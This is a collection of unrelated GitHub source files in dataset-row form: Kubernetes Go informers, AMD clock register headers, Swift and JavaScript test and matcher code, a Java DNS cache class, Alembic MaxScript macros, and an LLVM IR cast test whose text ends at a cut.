text
stringlengths 2
100k
| meta
dict |
---|---|
StartChar: r.subs
Encoding: 1539 -1 1256
Width: 1000
VWidth: 0
Flags: MW
LayerCount: 2
EndChar
| {
"pile_set_name": "Github"
} |
<annotation>
<folder>train</folder>
<filename>IMG_2453.JPG</filename>
<path>C:\tensorflow_cards\train\IMG_2453.JPG</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>378</width>
<height>504</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>queen</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>63</xmin>
<ymin>215</ymin>
<xmax>178</xmax>
<ymax>358</ymax>
</bndbox>
</object>
</annotation>
| {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by informer-gen. DO NOT EDIT.
package v1beta1
import (
"context"
time "time"
eventsv1beta1 "k8s.io/api/events/v1beta1"
v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
runtime "k8s.io/apimachinery/pkg/runtime"
watch "k8s.io/apimachinery/pkg/watch"
internalinterfaces "k8s.io/client-go/informers/internalinterfaces"
kubernetes "k8s.io/client-go/kubernetes"
v1beta1 "k8s.io/client-go/listers/events/v1beta1"
cache "k8s.io/client-go/tools/cache"
)
// EventInformer provides access to a shared informer and lister for
// Events.
type EventInformer interface {
Informer() cache.SharedIndexInformer
Lister() v1beta1.EventLister
}
type eventInformer struct {
factory internalinterfaces.SharedInformerFactory
tweakListOptions internalinterfaces.TweakListOptionsFunc
namespace string
}
// NewEventInformer constructs a new informer for Event type.
// Always prefer using an informer factory to get a shared informer instead of getting an independent
// one. This reduces memory footprint and number of connections to the server.
func NewEventInformer(client kubernetes.Interface, namespace string, resyncPeriod time.Duration, indexers cache.Indexers) cache.SharedIndexInformer {
return NewFilteredEventInformer(client, namespace, resyncPeriod, indexers, nil)
}
// NewFilteredEventInformer constructs a new informer for Event type.
// Always prefer using an informer factory to get a shared informer instead of getting an independent
// one. This reduces memory footprint and number of connections to the server.
func NewFilteredEventInformer(client kubernetes.Interface, namespace string, resyncPeriod time.Duration, indexers cache.Indexers, tweakListOptions internalinterfaces.TweakListOptionsFunc) cache.SharedIndexInformer {
return cache.NewSharedIndexInformer(
&cache.ListWatch{
ListFunc: func(options v1.ListOptions) (runtime.Object, error) {
if tweakListOptions != nil {
tweakListOptions(&options)
}
return client.EventsV1beta1().Events(namespace).List(context.TODO(), options)
},
WatchFunc: func(options v1.ListOptions) (watch.Interface, error) {
if tweakListOptions != nil {
tweakListOptions(&options)
}
return client.EventsV1beta1().Events(namespace).Watch(context.TODO(), options)
},
},
&eventsv1beta1.Event{},
resyncPeriod,
indexers,
)
}
func (f *eventInformer) defaultInformer(client kubernetes.Interface, resyncPeriod time.Duration) cache.SharedIndexInformer {
return NewFilteredEventInformer(client, f.namespace, resyncPeriod, cache.Indexers{cache.NamespaceIndex: cache.MetaNamespaceIndexFunc}, f.tweakListOptions)
}
func (f *eventInformer) Informer() cache.SharedIndexInformer {
return f.factory.InformerFor(&eventsv1beta1.Event{}, f.defaultInformer)
}
func (f *eventInformer) Lister() v1beta1.EventLister {
return v1beta1.NewEventLister(f.Informer().GetIndexer())
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2019 Advanced Micro Devices, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
* AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef _clk_10_0_2_SH_MASK_HEADER
#define _clk_10_0_2_SH_MASK_HEADER
// addressBlock: clk_clk1_0_SmuClkDec
//CLK1_CLK_PLL_REQ
#define CLK1_CLK_PLL_REQ__FbMult_int__SHIFT 0x0
#define CLK1_CLK_PLL_REQ__PllSpineDiv__SHIFT 0xc
#define CLK1_CLK_PLL_REQ__FbMult_frac__SHIFT 0x10
#define CLK1_CLK_PLL_REQ__FbMult_int_MASK 0x000001FFL
#define CLK1_CLK_PLL_REQ__PllSpineDiv_MASK 0x0000F000L
#define CLK1_CLK_PLL_REQ__FbMult_frac_MASK 0xFFFF0000L
//CLK1_CLK0_BYPASS_CNTL
#define CLK1_CLK0_BYPASS_CNTL__CLK0_BYPASS_SEL__SHIFT 0x0
#define CLK1_CLK0_BYPASS_CNTL__CLK0_BYPASS_DIV__SHIFT 0x10
#define CLK1_CLK0_BYPASS_CNTL__CLK0_BYPASS_SEL_MASK 0x00000007L
#define CLK1_CLK0_BYPASS_CNTL__CLK0_BYPASS_DIV_MASK 0x000F0000L
//CLK1_CLK1_BYPASS_CNTL
#define CLK1_CLK1_BYPASS_CNTL__CLK1_BYPASS_SEL__SHIFT 0x0
#define CLK1_CLK1_BYPASS_CNTL__CLK1_BYPASS_DIV__SHIFT 0x10
#define CLK1_CLK1_BYPASS_CNTL__CLK1_BYPASS_SEL_MASK 0x00000007L
#define CLK1_CLK1_BYPASS_CNTL__CLK1_BYPASS_DIV_MASK 0x000F0000L
//CLK1_CLK2_BYPASS_CNTL
#define CLK1_CLK2_BYPASS_CNTL__CLK2_BYPASS_SEL__SHIFT 0x0
#define CLK1_CLK2_BYPASS_CNTL__CLK2_BYPASS_DIV__SHIFT 0x10
#define CLK1_CLK2_BYPASS_CNTL__CLK2_BYPASS_SEL_MASK 0x00000007L
#define CLK1_CLK2_BYPASS_CNTL__CLK2_BYPASS_DIV_MASK 0x000F0000L
//CLK1_CLK3_DS_CNTL
#define CLK1_CLK3_DS_CNTL__CLK3_DS_DIV_ID__SHIFT 0x0
#define CLK1_CLK3_DS_CNTL__CLK3_DS_DIV_ID_MASK 0x00000007L
//CLK1_CLK3_ALLOW_DS
#define CLK1_CLK3_ALLOW_DS__CLK3_ALLOW_DS__SHIFT 0x0
#define CLK1_CLK3_ALLOW_DS__CLK3_ALLOW_DS_MASK 0x00000001L
//CLK1_CLK3_BYPASS_CNTL
#define CLK1_CLK3_BYPASS_CNTL__CLK3_BYPASS_SEL__SHIFT 0x0
#define CLK1_CLK3_BYPASS_CNTL__CLK3_BYPASS_DIV__SHIFT 0x10
#define CLK1_CLK3_BYPASS_CNTL__CLK3_BYPASS_SEL_MASK 0x00000007L
#define CLK1_CLK3_BYPASS_CNTL__CLK3_BYPASS_DIV_MASK 0x000F0000L
//CLK1_CLK0_CURRENT_CNT
#define CLK1_CLK0_CURRENT_CNT__CURRENT_COUNT__SHIFT 0x0
#define CLK1_CLK0_CURRENT_CNT__CURRENT_COUNT_MASK 0xFFFFFFFFL
//CLK1_CLK1_CURRENT_CNT
#define CLK1_CLK1_CURRENT_CNT__CURRENT_COUNT__SHIFT 0x0
#define CLK1_CLK1_CURRENT_CNT__CURRENT_COUNT_MASK 0xFFFFFFFFL
//CLK1_CLK2_CURRENT_CNT
#define CLK1_CLK2_CURRENT_CNT__CURRENT_COUNT__SHIFT 0x0
#define CLK1_CLK2_CURRENT_CNT__CURRENT_COUNT_MASK 0xFFFFFFFFL
//CLK1_CLK3_CURRENT_CNT
#define CLK1_CLK3_CURRENT_CNT__CURRENT_COUNT__SHIFT 0x0
#define CLK1_CLK3_CURRENT_CNT__CURRENT_COUNT_MASK 0xFFFFFFFFL
#endif
| {
"pile_set_name": "Github"
} |
c7f71ad85eb1430ddacd42549855791501783c49
| {
"pile_set_name": "Github"
} |
import Foundation
/// A Nimble matcher that succeeds when the actual value is greater than
/// or equal to the expected value.
public func beGreaterThanOrEqualTo<T: Comparable>(_ expectedValue: T?) -> Predicate<T> {
return Predicate.fromDeprecatedClosure { actualExpression, failureMessage in
failureMessage.postfixMessage = "be greater than or equal to <\(stringify(expectedValue))>"
let actualValue = try actualExpression.evaluate()
if let actual = actualValue, let expected = expectedValue {
return actual >= expected
}
return false
}.requireNonNil
}
/// A Nimble matcher that succeeds when the actual value is greater than
/// or equal to the expected value.
public func beGreaterThanOrEqualTo<T: NMBComparable>(_ expectedValue: T?) -> Predicate<T> {
return Predicate.fromDeprecatedClosure { actualExpression, failureMessage in
failureMessage.postfixMessage = "be greater than or equal to <\(stringify(expectedValue))>"
let actualValue = try actualExpression.evaluate()
let matches = actualValue != nil && actualValue!.NMB_compare(expectedValue) != ComparisonResult.orderedAscending
return matches
}.requireNonNil
}
public func >=<T: Comparable>(lhs: Expectation<T>, rhs: T) {
lhs.to(beGreaterThanOrEqualTo(rhs))
}
public func >=<T: NMBComparable>(lhs: Expectation<T>, rhs: T) {
lhs.to(beGreaterThanOrEqualTo(rhs))
}
#if os(macOS) || os(iOS) || os(tvOS) || os(watchOS)
extension NMBObjCMatcher {
@objc public class func beGreaterThanOrEqualToMatcher(_ expected: NMBComparable?) -> NMBObjCMatcher {
return NMBObjCMatcher(canMatchNil: false) { actualExpression, failureMessage in
let expr = actualExpression.cast { $0 as? NMBComparable }
return try! beGreaterThanOrEqualTo(expected).matches(expr, failureMessage: failureMessage)
}
}
}
#endif
| {
"pile_set_name": "Github"
} |
<div>
<p>
他のプロジェクトのビルドが終了した時に、
このプロジェクトの新規ビルドがスケジュールされるようにトリガーを設定します。
例えば、ビルドが完了した後に大量のテストを実行するケースなどで便利です。
</p>
<p>
この設定は、"ビルド後の処理"の"他のプロジェクトのビルド"と正反対の設定です。
片方を変更すると自動的にもう片方も変更されます。
</p>
</div>
| {
"pile_set_name": "Github"
} |
package com.alibaba.dcm;
import java.io.Serializable;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Date;
import javax.annotation.concurrent.Immutable;
/**
* @author Jerry Lee (oldratlee at gmail dot com)
* @see DnsCache
*/
@Immutable
public final class DnsCacheEntry implements Serializable {
private static final long serialVersionUID = -7476648934387757732L;
private final String host;
private final String[] ips;
private final Date expiration;
public String getHost() {
return host;
}
public String[] getIps() {
String[] copy = new String[ips.length];
System.arraycopy(ips, 0, copy, 0, ips.length); // defensive copy
return copy;
}
public String getIp() {
return ips[0];
}
public Date getExpiration() {
return expiration;
}
public DnsCacheEntry(String host, String[] ips, Date expiration) {
this.host = host;
this.ips = ips;
this.expiration = expiration;
}
@Override
public String toString() {
final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ");
return "DnsCacheEntry{" +
"host='" + host + '\'' +
", ips=" + Arrays.toString(ips) +
", expiration=" + dateFormat.format(expiration) +
'}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
DnsCacheEntry that = (DnsCacheEntry) o;
if (host != null ? !host.equals(that.host) : that.host != null)
return false;
if (!Arrays.equals(ips, that.ips)) return false;
return !(expiration != null ? !expiration.equals(that.expiration) : that.expiration != null);
}
@Override
public int hashCode() {
int result = host != null ? host.hashCode() : 0;
result = 31 * result + (ips != null ? Arrays.hashCode(ips) : 0);
result = 31 * result + (expiration != null ? expiration.hashCode() : 0);
return result;
}
}
| {
"pile_set_name": "Github"
} |
/* global QUnit document */
QUnit.module('expandable-area');
QUnit.test('is not upgraded when empty', (assert) => {
const ca = document.createElement('expandable-area');
ca.attachedCallback();
assert.strictEqual(ca.isUpgraded, false);
});
function makeArea() {
const ca = document.createElement('expandable-area');
const h1 = document.createElement('h1');
ca.appendChild(h1);
ca.attachedCallback();
return { ca, h1 };
}
QUnit.test('is upgraded when containing at least one element', (assert) => {
const { ca } = makeArea();
assert.strictEqual(ca.isUpgraded, true);
});
QUnit.test('adds accessibility markup when upgraded', (assert) => {
const { h1 } = makeArea();
assert.equal(h1.getAttribute('aria-expanded'), 'false');
assert.equal(h1.getAttribute('role'), 'button');
assert.equal(h1.getAttribute('tabindex'), '0');
});
QUnit.test('toggle() flips aria-expanded value', (assert) => {
const { ca, h1 } = makeArea();
ca.toggle();
assert.equal(h1.getAttribute('aria-expanded'), 'true');
ca.toggle();
assert.equal(h1.getAttribute('aria-expanded'), 'false');
});
QUnit.test('toggles on click', (assert) => {
const { h1 } = makeArea();
h1.onclick();
assert.equal(h1.getAttribute('aria-expanded'), 'true');
});
QUnit.test('toggles on space', (assert) => {
const { h1 } = makeArea();
h1.onkeyup({ keyCode: 32 });
assert.equal(h1.getAttribute('aria-expanded'), 'true');
});
QUnit.test('toggles on enter', (assert) => {
const { h1 } = makeArea();
h1.onkeyup({ keyCode: 13 });
assert.equal(h1.getAttribute('aria-expanded'), 'true');
});
QUnit.test('does not toggle on other keys', (assert) => {
const { h1 } = makeArea();
for (let i = 0; i < 128; i++) {
if (i !== 13 && i !== 32) {
h1.onkeyup({ keyCode: i });
assert.equal(h1.getAttribute('aria-expanded'), 'false',
`does not toggle on keyCode == ${i}`);
}
}
});
QUnit.test('emits expandableareaready event', (assert) => {
const done = assert.async();
const fixture = document.getElementById('qunit-fixture');
const div = document.createElement('div');
div.addEventListener('expandableareaready', () => {
fixture.removeChild(div);
assert.ok(true, 'expandableareaready received');
done();
});
div.innerHTML = '<expandable-area><h1>hi</h1></expandable-area>';
fixture.appendChild(div);
});
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2015 the original author or authors.
* @https://github.com/scouter-project/scouter
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package scouter.agent.asm.redis;
import scouter.agent.ClassDesc;
import scouter.agent.Configure;
import scouter.agent.asm.IASM;
import scouter.agent.asm.util.AsmUtil;
import scouter.agent.trace.TraceMain;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.objectweb.asm.commons.LocalVariablesSorter;
import java.util.HashSet;
import java.util.Set;
/**
* @author Gun Lee ([email protected]) on 2018. 3. 20.
*/
public class JedisCommandASM implements IASM, Opcodes {
private Configure conf = Configure.getInstance();
private static Set<String> hookingClasses = new HashSet<String>();
static {
hookingClasses.add("redis/clients/jedis/Jedis");
hookingClasses.add("redis/clients/jedis/BinaryJedis");
}
public ClassVisitor transform(ClassVisitor cv, String className, ClassDesc classDesc) {
if (conf._hook_redis_enabled == false)
return cv;
if (hookingClasses.contains(className)) {
return new JedisCommandCV(cv, className);
}
return cv;
}
}
class JedisCommandCV extends ClassVisitor implements Opcodes {
String className;
public JedisCommandCV(ClassVisitor cv, String className) {
super(ASM8, cv);
this.className = className;
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if (mv == null) {
return null;
}
if (AsmUtil.isSpecial(name)) {
return mv;
}
if (AsmUtil.isPublic(access)) {
return new JedisCommandMV(className, access, name, desc, mv);
}
return mv;
}
}
class JedisCommandMV extends LocalVariablesSorter implements Opcodes {
private static final String TRACEMAIN = TraceMain.class.getName().replace('.', '/');
private static final String START_METHOD = "setTraceJedisHostPort";
private static final String START_SIGNATURE = "(Ljava/lang/String;I)V";
private String className;
private String name;
private String desc;
private int statIdx;
private Label startFinally = new Label();
public JedisCommandMV(String className, int access, String name, String desc, MethodVisitor mv) {
super(ASM8, access, desc, mv);
this.className = className;
this.name = name;
this.desc = desc;
}
@Override
public void visitCode() {
int hostIdx = newLocal(Type.getType("Ljava/lang/String;"));
int portIdx = newLocal(Type.INT_TYPE);
mv.visitVarInsn(ALOAD, 0);
mv.visitFieldInsn(GETFIELD, className, "client", "Lredis/clients/jedis/Client;");
mv.visitMethodInsn(INVOKEVIRTUAL, "redis/clients/jedis/Client", "getHost", "()Ljava/lang/String;", false);
mv.visitVarInsn(ASTORE, hostIdx);
mv.visitVarInsn(ALOAD, 0);
mv.visitFieldInsn(GETFIELD, className, "client", "Lredis/clients/jedis/Client;");
mv.visitMethodInsn(INVOKEVIRTUAL, "redis/clients/jedis/Client", "getPort", "()I", false);
mv.visitVarInsn(ISTORE, portIdx);
mv.visitVarInsn(ALOAD, hostIdx);
mv.visitVarInsn(ILOAD, portIdx);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, TRACEMAIN, START_METHOD, START_SIGNATURE, false);
mv.visitCode();
}
}
| {
"pile_set_name": "Github"
} |
-- pagesize.test
--
-- execsql {PRAGMA page_size}
PRAGMA page_size | {
"pile_set_name": "Github"
} |
define("ace/snippets/logiql",["require","exports","module"],function(e,t,n){"use strict";t.snippetText="",t.scope="logiql"});
(function() {
window.require(["ace/snippets/logiql"], function(m) {
if (typeof module == "object" && typeof exports == "object" && module) {
module.exports = m;
}
});
})();
| {
"pile_set_name": "Github"
} |
// Northern Sami [se]
import dayjs from 'dayjs'
const locale = {
name: 'se',
weekdays: 'sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat'.split('_'),
months: 'ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu'.split('_'),
weekStart: 1,
weekdaysShort: 'sotn_vuos_maŋ_gask_duor_bear_láv'.split('_'),
monthsShort: 'ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov'.split('_'),
weekdaysMin: 's_v_m_g_d_b_L'.split('_'),
ordinal: n => n,
formats: {
LT: 'HH:mm',
LTS: 'HH:mm:ss',
L: 'DD.MM.YYYY',
LL: 'MMMM D. [b.] YYYY',
LLL: 'MMMM D. [b.] YYYY [ti.] HH:mm',
LLLL: 'dddd, MMMM D. [b.] YYYY [ti.] HH:mm'
},
relativeTime: {
future: '%s geažes',
past: 'maŋit %s',
s: 'moadde sekunddat',
m: 'okta minuhta',
mm: '%d minuhtat',
h: 'okta diimmu',
hh: '%d diimmut',
d: 'okta beaivi',
dd: '%d beaivvit',
M: 'okta mánnu',
MM: '%d mánut',
y: 'okta jahki',
yy: '%d jagit'
}
}
dayjs.locale(locale, null, true)
export default locale
| {
"pile_set_name": "Github"
} |
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ipv4
import (
"os"
"unsafe"
"golang.org/x/net/bpf"
"golang.org/x/net/internal/netreflect"
)
// SetBPF attaches a BPF program to the connection.
//
// Only supported on Linux.
func (c *dgramOpt) SetBPF(filter []bpf.RawInstruction) error {
s, err := netreflect.PacketSocketOf(c.PacketConn)
if err != nil {
return err
}
prog := sockFProg{
Len: uint16(len(filter)),
Filter: (*sockFilter)(unsafe.Pointer(&filter[0])),
}
return os.NewSyscallError("setsockopt", setsockopt(s, sysSOL_SOCKET, sysSO_ATTACH_FILTER, unsafe.Pointer(&prog), uint32(unsafe.Sizeof(prog))))
}
| {
"pile_set_name": "Github"
} |
fn findTimeControl = (
if selection.count == 0 then print "Cannot find time control. Selection is empty."
for i = 1 to selection.count do
(
if classof selection[i] == AlembicTimeControl then
(
return selection[i]
)
)
)
fn connectTimeControl obj timeCtrl = (
--print obj
if obj.time.isAnimated then
(
obj.time.controller = float_expression()
local nCtrl = obj.time.controller
nCtrl.AddScalarTarget "current" timeCtrl.time.controller
nCtrl.setExpression "current"
--print "connected"
)
else
(
--print "not animated"
)
)
fn createTimeControl name = (
cntl = AlembicTimeControl name: name
)
fn connectTimeControlToObjects timeCtrl = (
if selection.count == 0 then print "Cannot connect time control to objects. Selection is empty."
for i = 1 to selection.count do
(
local n = selection[i]
if classof n == Dummy then
(
if n.transform.isAnimated and \
classof n.transform.controller == Alembic_Xform then
(
connectTimeControl n.transform.controller timeCtrl
)
)
if classof n == PolyMeshObject or \
classof n == Freecamera or \
classof n == Alembic_Particles or \
classof n == NURBSCurveshape or \
classof n == SplineShape then
(
if n.transform.isAnimated and \
classof n.transform.controller == Alembic_Xform then
(
connectTimeControl n.transform.controller timeCtrl
)
if n.visibility.isAnimated and \
classof n.visibility.controller == Alembic_Visibility then
(
connectTimeControl n.visibility.controller timeCtrl
)
)
if classof n == PolyMeshObject then
(
for j = 1 to n.modifiers.count do
(
modj = n.modifiers[j]
case (classof modj) of
(
Alembic_Mesh_Normals:
(
connectTimeControl modj timeCtrl
)
Alembic_Mesh_Geometry:
(
connectTimeControl modj timeCtrl
)
Alembic_Mesh_UVW:
(
connectTimeControl modj timeCtrl
)
Alembic_Mesh_Topology:
(
connectTimeControl modj timeCtrl
)
)
)
)
else if classof n == Freecamera then
(
--connectTimeControl n.FOV timeCtrl
--connectTimeControl n.MultiPass_Effect.focalDepth timeCtrl
--connectTimeControl n.nearclip timeCtrl
--connectTimeControl n.farclip timeCtrl
--local camMod = n.modifiers["Alembic Camera Properties"]
--if camMod != undefined then
--(
-- connectTimeControl camMod.hfov timeCtrl
-- connectTimeControl camMod.vfov timeCtrl
-- connectTimeControl camMod.focallength timeCtrl
-- connectTimeControl camMod.haperature timeCtrl
-- connectTimeControl camMod.vaperature timeCtrl
-- connectTimeControl camMod.hfilmoffset timeCtrl
-- connectTimeControl camMod.vfilmoffset timeCtrl
-- connectTimeControl camMod.lsratio timeCtrl
-- connectTimeControl camMod.loverscan timeCtrl
-- connectTimeControl camMod.roverscan timeCtrl
-- connectTimeControl camMod.toverscan timeCtrl
-- connectTimeControl camMod.boverscan timeCtrl
-- connectTimeControl camMod.fstop timeCtrl
-- connectTimeControl camMod.focusdistance timeCtrl
-- connectTimeControl camMod.shutteropen timeCtrl
-- connectTimeControl camMod.shutterclose timeCtrl
-- connectTimeControl camMod.nclippingplane timeCtrl
-- connectTimeControl camMod.fclippingplane timeCtrl
--)
)
else if classof n == Alembic_Particles then
(
connectTimeControl n timeCtrl
)
else if classof n == NURBSCurveshape then
(
for j = 1 to n.modifiers.count do
(
modj = n.modifiers[j]
case (classof modj) of
(
Alembic_NURBS:
(
connectTimeControl modj timeCtrl
)
)
)
)
else if classof n == SplineShape then
(
for j = 1 to n.modifiers.count do
(
modj = n.modifiers[j]
case (classof modj) of
(
Alembic_Spline_Geometry:
(
connectTimeControl modj timeCtrl
)
Alembic_Spline_Topology:
(
connectTimeControl modj timeCtrl
)
)
)
)
)
)
macroScript NewTimeControlUI
category:"Alembic"
buttonText:"Create Time Control"
tooltip:"Create Time Control"
(
on execute do
(
AlembicTimeControl()
)
)
macroScript NewTimeControlForSelectionUI
category:"Alembic"
buttonText:"New Time Control For Selection"
tooltip:"New Time Control For Selection"
(
on execute do
(
local timeCtrl = AlembicTimeControl()
connectTimeControlToObjects(timeCtrl)
)
)
macroScript SetTimeControlForSelectionUI
category:"Alembic"
buttonText:"Set Time Control For Selection"
tooltip:"Set Time Control For Selection"
(
on execute do
(
local timeCtrl = findTimeControl()
if timeCtrl != undefined then
(
connectTimeControlToObjects(timeCtrl)
)
else
(
print "Could not find time control in selection."
)
)
) | {
"pile_set_name": "Github"
} |
; RUN: %lli -jit-kind=orc-mcjit %s > /dev/null
define i32 @foo() {
ret i32 0
}
define i32 @main() {
icmp ne i1 true, false ; <i1>:1 [#uses=0]
zext i1 true to i8 ; <i8>:2 [#uses=0]
zext i1 true to i8 ; <i8>:3 [#uses=0]
zext i1 true to i16 ; <i16>:4 [#uses=0]
zext i1 true to i16 ; <i16>:5 [#uses=0]
zext i1 true to i32 ; <i32>:6 [#uses=0]
zext i1 true to i32 ; <i32>:7 [#uses=0]
zext i1 true to i64 ; <i64>:8 [#uses=0]
zext i1 true to i64 ; <i64>:9 [#uses=0]
uitofp i1 true to float ; <float>:10 [#uses=0]
uitofp i1 true to double ; <double>:11 [#uses=0]
icmp ne i8 0, 0 ; <i1>:12 [#uses=0]
icmp ne i8 1, 0 ; <i1>:13 [#uses=0]
bitcast i8 0 to i8 ; <i8>:14 [#uses=0]
bitcast i8 -1 to i8 ; <i8>:15 [#uses=0]
sext i8 4 to i16 ; <i16>:16 [#uses=0]
sext i8 4 to i16 ; <i16>:17 [#uses=0]
sext i8 4 to i64 ; <i64>:18 [#uses=0]
sext i8 4 to i64 ; <i64>:19 [#uses=0]
sitofp i8 4 to float ; <float>:20 [#uses=0]
sitofp i8 4 to double ; <double>:21 [#uses=0]
icmp ne i8 0, 0 ; <i1>:22 [#uses=0]
icmp ne i8 1, 0 ; <i1>:23 [#uses=0]
bitcast i8 0 to i8 ; <i8>:24 [#uses=0]
bitcast i8 1 to i8 ; <i8>:25 [#uses=0]
zext i8 4 to i16 ; <i16>:26 [#uses=0]
zext i8 4 to i16 ; <i16>:27 [#uses=0]
zext i8 4 to i64 ; <i64>:28 [#uses=0]
zext i8 4 to i64 ; <i64>:29 [#uses=0]
uitofp i8 0 to float ; <float>:30 [#uses=0]
uitofp i8 0 to double ; <double>:31 [#uses=0]
icmp ne i16 1, 0 ; <i1>:32 [#uses=0]
trunc i16 -1 to i8 ; <i8>:33 [#uses=0]
trunc i16 255 to i8 ; <i8>:34 [#uses=0]
bitcast i16 0 to i16 ; <i16>:35 [#uses=0]
bitcast i16 0 to i16 ; <i16>:36 [#uses=0]
sext i16 0 to i64 ; <i64>:37 [#uses=0]
sext i16 0 to i64 ; <i64>:38 [#uses=0]
sitofp i16 0 to float ; <float>:39 [#uses=0]
sitofp i16 0 to double ; <double>:40 [#uses=0]
icmp ne i16 1, 0 ; <i1>:41 [#uses=0]
trunc i16 1 to i8 ; <i8>:42 [#uses=0]
trunc i16 255 to i8 ; <i8>:43 [#uses=0]
bitcast i16 0 to i16 ; <i16>:44 [#uses=0]
bitcast i16 0 to i16 ; <i16>:45 [#uses=0]
zext i16 0 to i64 ; <i64>:46 [#uses=0]
zext i16 0 to i64 ; <i64>:47 [#uses=0]
uitofp i16 0 to float ; <float>:48 [#uses=0]
uitofp i16 0 to double ; <double>:49 [#uses=0]
icmp ne i32 6, 0 ; <i1>:50 [#uses=0]
trunc i32 -6 to i8 ; <i8>:51 [#uses=0]
trunc i32 6 to i8 ; <i8>:52 [#uses=0]
trunc i32 6 to i16 ; <i16>:53 [#uses=0]
bitcast i32 0 to i32 ; <i32>:54 [#uses=0]
sext i32 0 to i64 ; <i64>:55 [#uses=0]
sext i32 0 to i64 ; <i64>:56 [#uses=0]
sitofp i32 0 to float ; <float>:57 [#uses=0]
sitofp i32 0 to double ; <double>:58 [#uses=0]
icmp ne i32 6, 0 ; <i1>:59 [#uses=0]
trunc i32 7 to i8 ; <i8>:60 [#uses=0]
trunc i32 8 to i8 ; <i8>:61 [#uses=0]
trunc i32 9 to i16 ; <i16>:62 [#uses=0]
bitcast i32 10 to i32 ; <i32>:63 [#uses=0]
zext i32 0 to i64 ; <i64>:64 [#uses=0]
zext i32 0 to i64 ; <i64>:65 [#uses=0]
uitofp i32 0 to float ; <float>:66 [#uses=0]
uitofp i32 0 to double ; <double>:67 [#uses=0]
icmp ne i64 0, 0 ; <i1>:68 [#uses=0]
trunc i64 0 to i8 ; <i8>:69 [#uses=0]
trunc i64 0 to i8 ; <i8>:70 [#uses=0]
trunc i64 0 to i16 ; <i16>:71 [#uses=0]
trunc i64 0 to i16 ; <i16>:72 [#uses=0]
trunc i64 0 to i32 ; <i32>:73 [#uses=0]
trunc i64 0 to i32 ; <i32>:74 [#uses=0]
bitcast i64 0 to i64 ; <i64>:75 [#uses=0]
bitcast i64 0 to i64 ; <i64>:76 [#uses=0]
sitofp i64 0 to float ; <float>:77 [#uses=0]
sitofp i64 0 to double ; <double>:78 [#uses=0]
icmp ne i64 1, 0 ; <i1>:79 [#uses=0]
trunc i64 1 to i8 ; <i8>:80 [#uses=0]
trunc i64 1 to i8 ; <i8>:81 [#uses=0]
trunc i64 1 to i16 ; <i16>:82 [#uses=0]
trunc i64 1 to i16 ; <i16>:83 [#uses=0]
trunc i64 1 to i32 ; <i32>:84 [#uses=0]
trunc i64 1 to i32 ; <i32>:85 [#uses=0]
bitcast i64 1 to i64 ; <i64>:86 [#uses=0]
bitcast i64 1 to i64 ; <i64>:87 [#uses=0]
uitofp i64 1 to float ; <float>:88 [#uses=0]
uitofp i64 0 to double ; <double>:89 [#uses=0]
bitcast float 0.000000e+00 to float ; <float>:90 [#uses=0]
fpext float 0.000000e+00 to double ; <double>:91 [#uses=0]
fptosi double 0.000000e+00 to i8 ; <i8>:92 [#uses=0]
fptoui double 0.000000e+00 to i8 ; <i8>:93 [#uses=0]
fptosi double 0.000000e+00 to i16 ; <i16>:94 [#uses=0]
fptoui double 0.000000e+00 to i16 ; <i16>:95 [#uses=0]
fptosi double 0.000000e+00 to i32 ; <i32>:96 [#uses=0]
